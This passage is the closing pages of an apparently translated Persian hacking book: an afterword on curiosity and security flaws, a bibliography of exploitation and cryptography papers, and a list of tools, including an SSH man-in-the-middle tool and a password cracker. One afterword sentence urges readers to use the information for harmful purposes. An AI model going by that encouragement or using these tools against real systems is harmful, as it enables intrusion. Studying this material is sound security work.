‫ﮐﻪ ﺳﻮاﻻﺗﯽ ﭼﻮن "ﭼﺮا؟" و "ﭼﻄﻮر ﻣﯿﺸﺪ اﮔﺮ؟" ﭘﺮﺳﯿﺪه ﺷﻮﻧﺪ‪ ،‬ﻫﮑﺮﻫﺎ ﻫﻤﯿﺸﻪ ﺣـﻀﻮر ﺧﻮاﻫﻨـﺪ داﺷـﺖ‪ .‬دﻧﯿـﺎی ﺑـﺪون‬
‫ﻫﮑﺮﻫﺎ ﺑﻤﺎﻧﻨﺪ دﻧﯿﺎﯾﯽ ﺑﺪون ﮐﻨﺠﮑﺎوی و ﻧﻮآوری اﺳﺖ‪.‬‬
‫اﻣﯿﺪوارم اﯾﻦ ﮐﺘﺎب روح ﻫﮑﯿﻨﮓ و ﭼﻨﺪ ﺗﮑﻨﯿﮏ ﻣﻬﻢ در آﻧﺮا ﻧﻤﺎﯾـﺎن ﺳـﺎﺧﺘﻪ ﺑﺎﺷـﺪ‪ .‬ﻓﻨـﺎوری ﻫﻤﯿـﺸﻪ در ﺣـﺎل ﺗﻐﯿﯿـﺮ و‬
‫ﺗﻮﺳﻌﻪ اﺳﺖ‪ ،‬ﺑﻨﺎﺑﺮاﯾﻦ ﻫﻤﯿﺸﻪ رﯾﺴﮏ ﻫﺎی اﻣﻨﯿﺘﯽ وﺟﻮد ﺧﻮاﻫﻨﺪ داﺷﺖ‪ .‬ﻫﻤـﻮاره اﻧﺘﻈـﺎر ﻣـﯽ رود ﮐـﻪ در ﻧـﺮم اﻓﺰارﻫـﺎ‬
‫آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎی ﺟﺪﯾﺪ‪ ،‬در ﺗﻌﺎرﯾﻒ و ﻣﺸﺨﺼﺎت ﭘﺮوﺗﮑﻞ ﻫﺎ‪ ،‬اﺑﻬﺎم و ﻫـﺰاران از ﻧﻈـﺮ اﻓﺘـﺎدﮔﯽ دﯾﮕـﺮ وﺟـﻮد داﺷـﺘﻪ‬
‫ﺑﺎﺷﺪ‪ .‬اﻃﻼﻋﺎت ﺑﺪﺳﺖ آﻣﺪه از اﯾﻦ ﮐﺘﺎب ﺗﻨﻬﺎ ﯾﮏ ﻧﻘﻄﻪ ﺷﺮوع اﺳﺖ‪ .‬اﯾﻦ ﺑﻪ ﺷﻤﺎ ﺑـﺴﺘﮕﯽ دارد ﮐـﻪ آﻧـﺮا داﺋﻤـﺎ ﺑـﺴﻂ و‬
‫ﮔﺴﺘﺮش دﻫﯿﺪ‪ ،‬ﮐﻪ اﯾﻦ ﻣﻬﻢ ﺑﺎ درک ﭼﮕﻮﻧﮕﯽ ﻋﻤﻠﮑﺮد ﻣﻮﺿﻮﻋﺎت‪ ،‬ﺷﮕﻔﺖ زده ﺷﺪن راﺟﻊ ﺑﻪ اﺣﺘﻤﺎﻻت و ﻓﮑـﺮ ﮐـﺮدن‬
‫راﺟﻊ ﺑﻪ ﭼﯿﺰﻫﺎﯾﯽ ﮐﻪ ﺗﻮﺳﻌﻪ دﻫﻨﺪﮔﺎن ﻧﺮم اﻓﺰار راﺟﻊ ﺑﻪ آﻧﻬﺎ ﻓﮑﺮ ﻧﮑﺮده اﻧـﺪ‪ ،‬اﻣﮑـﺎن ﭘـﺬﯾﺮ ﻣـﯽ ﮔـﺮدد‪ .‬اﯾـﻦ ﺑـﻪ ﺷـﻤﺎ‬
‫ﺑﺴﺘﮕﯽ دارد ﮐﻪ ﺑﻬﺘﺮﯾﻦ ﮐﺸﻒ ﻫﺎ را اﻧﺠﺎم دﻫﯿﺪ و در ﮐﻨﺎر آن اﯾﻦ اﻃﻼﻋﺎت را ﺑﺮای اﻫﺪاف ﻣﻀﺮ ﺑﻪ ﮐﺎر ﺑﺮﯾﺪ‪ .‬اﻃﻼﻋﺎت‬
‫ﺧﻮدش ﺑﻪ ﺗﻨﻬﺎﯾﯽ ﮔﻨﺎه ﯾﺎ ﺟﺮم ﻧﯿﺴﺖ!‬

‫‪193‬‬
‫ارﺟﺎﻋﺎت‬
• Aleph One. "Smashing the Stack for Fun and Profit", Phrack 49.
http://www.phrack.org/show.php?p=49&a=14
• Bennett, C., F. Bessette, and G. Brassard. "Experimental Quantum Cryptography",
Journal of Cryptology 5, no. 1 (1992): 3–28.
• Borisov, N., I. Goldberg, and D. Wagner. "Intercepting Mobile Communications:
The Insecurity of 802.11." http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf
• Brassard, G. and P. Bratley. Fundamentals of Algorithmics. Englewood Cliffs, NJ:
Prentice-Hall, 1995.
• CNET News. "40-Bit Crypto Proves No Problem." January 31, 1997.
http://news.com.com/2100-1017-266268.html
• Conover, M. (Shok). "w00w00 on Heap Overflows", w00w00 Security Development.
http://www.w00w00.org/files/articles/heaptut.txt
• Electronic Frontier Foundation. "Felten vs RIAA." http://www.eff.org/sc/felten/
• Eller, Riley (caezar). "Bypassing MSB Data Filters for Buffer Overflow Exploits on
Intel Platforms." http://community.core-sdi.com/~juliano/bypass-msb.txt
• Engler, C. "Wire Fraud Case Reveals Loopholes in U.S. Laws Protecting Software."
http://www.cs.usask.ca/undergrads/bcb668/490/Week5/wirefraud.html
• Fluhrer, S., I. Mantin, and A. Shamir. "Weaknesses in the Key Scheduling Algorithm
of RC4." http://citeseer.nj.nec.com/fluhrer01weaknesses.html
• Grover, L. "Quantum Mechanics Helps in Searching for a Needle in a Haystack."
Physical Review Letters 79, no. 2 (July 14, 1997): 325–28.
• Joncheray, L. "Simple Active Attack Against TCP."
http://www.insecure.org/stf/iphijack.txt
• Krahmer, S. "SSH for Fun and Profit."
http://www.shellcode.com.ar/docz/asm/ssharp.pdf
• Levy, Steven. Hackers: Heroes of the Computer Revolution. New York, NY:
Doubleday, 1984.
• McCullagh, D. "Russian Adobe Hacker Busted", Wired News. July 17, 2001.
http://www.wired.com/news/politics/0,1283,45298,00.html
• The NASM Development Team, "NASM – The Netwide Assembler (Manual)",
version 0.98.34. http://nasm.sourceforge.net/
• Rieck, K. "Fuzzy Fingerprints: Attacking Vulnerabilities in the Human Brain."
http://www.thehackerschoice.com/papers/ffp.pdf
• Schneier, B. Applied Cryptography: Protocols, Algorithms, and Source Code in C,
2nd ed. New York: John Wiley & Sons, 1996.
• Scut and Team Teso. "Exploiting Format String Vulnerabilities", version 1.2.
http://www.team-teso.net/releases/formatstring-1.2.tar.gz
• Shor, P. "Polynomial-Time Algorithms for Prime Factorization and Discrete
Logarithms on a Quantum Computer." SIAM Journal of Computing 26 (1997):
1484–509. http://www.research.att.com/~shor/papers/
• Smith, N. "Stack Smashing Vulnerabilities in the UNIX Operating System."
http://tinfpc3.vub.ac.be/papers/nate-buffer.pdf
• Solar Designer. "Getting Around Non-Executable Stack (and Fix)." BugTraq post
dated Sunday, Aug. 10, 1997.
http://lists.insecure.org/lists/bugtraq/1997/Aug/0066.html
• Stinson, D. Cryptography: Theory and Practice. Boca Raton, FL: CRC Press, 1995.
• Zwicky, E., S. Cooper, and D. Chapman. Building Internet Firewalls, 2nd ed.
Sebastopol, CA: O'Reilly, 2000.

194
‫اﺑﺰار ﻣﻮرد اﺳﺘﻔﺎده در ﮐﺘﺎب‬
ibiblio.org/pub/Linux/apps/math/calc/pcalc-000.tar.gz :‫ ﻣﺎﺷﯿﻦ ﺣﺴﺎﺑﯽ از ﭘﯿﺘﺮ ﮔﻠﻦ‬:pcalc
nasm.sourceforge.net/ :NASM ‫ از ﮔﺮوه ﺗﻮﺳﻌﻪ ﻧﺮم اﻓﺰار‬:(Netwide Assembler) NASM
www.chez.com/prigaux/hexedit.html :‫ وﯾﺮاﯾﺸﮕﺮ ﻫﮕﺰادﺳﯿﻤﺎل از ﭘﺎﺳﮑﺎل رﯾﮕﺎﮐﺲ‬:Hexedit
www.phiral.com/ :‫ دﮔﺮﺷﮑﻞ ﮐﻨﻨﺪه ﺑﺎﯾﺖ ﻫﺎی ﮐﺪﻫﺎی اﺳﮑﯽ و ﻗﺎﺑﻞ ﭼﺎپ از ﺟﻮز روﻧﯿﮏ‬:Dissembler
www.packetfactory.net/projects/nemesis/ :‫ اﺑﺰار ﺗﺰرﯾﻖ ﺑﺴﺘﻪ از ﻣﺎرک ﮔﺮﯾﻤﺰ و ﺟﻒ ﻧﺎﺗﺎن‬:Nemesis
stealth.7350.org/SSH/7350ssharp.tgz :Stealth ‫ از‬SSH ‫ ﺑﺮای‬MiM ‫ اﺑﺰار‬:SSharp
www.thehackerschoice.com/thc-ffp/ :‫ اﺑﺰار ﺗﻮﻟﯿﺪ اﺛﺮاﻧﮕﺸﺖ ﻓﺎزی از ﮐﻨﺮاد رﯾﮏ‬:FFP
www.openwall.com/john/ :Solar Designer ‫ ﯾﮏ ﮐﺮک ﮐﻨﻨﺪه ﭘﺴﻮرد از‬:John The Ripper

Secumania Security Group (SSG)


www.secumania.net

195

You might also like